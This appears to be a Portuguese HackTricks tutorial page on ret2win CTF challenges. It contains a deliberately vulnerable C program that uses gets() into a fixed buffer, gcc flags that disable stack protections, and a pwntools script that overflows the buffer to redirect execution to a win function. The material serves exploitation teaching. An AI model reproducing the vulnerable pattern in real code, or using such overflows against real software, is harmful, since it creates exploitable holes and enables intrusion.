7.7 KiB
Ret2win
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Verifique os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
Os desafios Ret2win são uma categoria popular em competições de Capture The Flag (CTF), especialmente em tarefas que envolvem exploração binária. O objetivo é explorar uma vulnerabilidade em um binário fornecido para executar uma função específica e não solicitada dentro do binário, geralmente chamada de win
, flag
, etc. Essa função, quando executada, geralmente imprime uma bandeira ou uma mensagem de sucesso. O desafio geralmente envolve sobrescrever o endereço de retorno na pilha para desviar o fluxo de execução para a função desejada. Aqui está uma explicação mais detalhada com exemplos:
Exemplo em C
Considere um programa C simples com uma vulnerabilidade e uma função win
que pretendemos chamar:
#include <stdio.h>
#include <string.h>
void win() {
printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
vulnerable_function();
return 0;
}
Para compilar este programa sem proteções de pilha e com ASLR desativado, você pode usar o seguinte comando:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-m32
: Compilar o programa como um binário de 32 bits (isso é opcional, mas comum em desafios CTF).-fno-stack-protector
: Desativar proteções contra estouro de pilha.-z execstack
: Permitir a execução de código na pilha.-no-pie
: Desativar Executável Independente de Posição para garantir que o endereço da funçãowin
não mude.-o vulnerable
: Nomear o arquivo de saída comovulnerable
.
Exploração em Python usando Pwntools
Para a exploração, vamos usar o pwntools, um framework CTF poderoso para escrever exploits. O script de exploit criará um payload para estourar o buffer e sobrescrever o endereço de retorno com o endereço da função win
.
from pwn import *
# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
# Find the address of the win function
win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary
# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr
# Send the payload
p.sendline(payload)
p.interactive()
Para encontrar o endereço da função win
, você pode usar gdb, objdump, ou qualquer outra ferramenta que permita inspecionar arquivos binários. Por exemplo, com objdump
, você poderia usar:
objdump -d vulnerable | grep win
Este comando mostrará o assembly da função win
, incluindo o seu endereço de início.
O script Python envia uma mensagem cuidadosamente elaborada que, ao ser processada pela vulnerable_function
, causa um estouro de buffer e sobrescreve o endereço de retorno na pilha com o endereço de win
. Quando a vulnerable_function
retorna, em vez de retornar para main
ou sair, ela salta para win
e a mensagem é impressa.
Proteções
- PIE deve ser desativado para que o endereço seja confiável em execuções futuras, caso contrário, o endereço onde a função será armazenada não será sempre o mesmo e seria necessário algum vazamento para descobrir onde a função
win
está carregada. Em alguns casos, quando a função que causa o estouro éread
ou similar, você pode fazer uma Sobrescrita Parcial de 1 ou 2 bytes para alterar o endereço de retorno para ser a funçãowin
. Devido ao funcionamento do ASLR, os últimos três nibbles hexadecimais não são randomizados, então há uma chance de 1/16 (1 nibble) de obter o endereço de retorno correto. - Canários de Pilha também devem ser desativados, caso contrário, o endereço de retorno comprometido do EIP nunca será seguido.
Outros exemplos e Referências
- https://ir0nstone.gitbook.io/notes/types/stack/ret2win
- https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html
- 32 bits, sem ASLR
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html
- 64 bits com ASLR, com um vazamento do endereço binário
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html
- 64 bits, sem ASLR
- https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html
- 32 bits, sem ASLR, duplo estouro pequeno, primeiro para estourar a pilha e aumentar o tamanho do segundo estouro
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bits, relro, sem canário, nx, sem pie, string de formato para sobrescrever o endereço
fflush
com a funçãowin
(ret2win) - https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html
- 32 bits, nx, nada mais, sobrescrita parcial do EIP (1Byte) para chamar a função
win
- https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html
- 32 bits, nx, nada mais, sobrescrita parcial do EIP (1Byte) para chamar a função
win
- https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html
- O programa está validando apenas o último byte de um número para verificar o tamanho da entrada, portanto é possível adicionar qualquer tamanho, desde que o último byte esteja dentro da faixa permitida. Em seguida, a entrada cria um estouro de buffer explorado com um ret2win.
- https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/
- 64 bits, relro, sem canário, nx, pie. Sobrescrita parcial para chamar a função
win
(ret2win)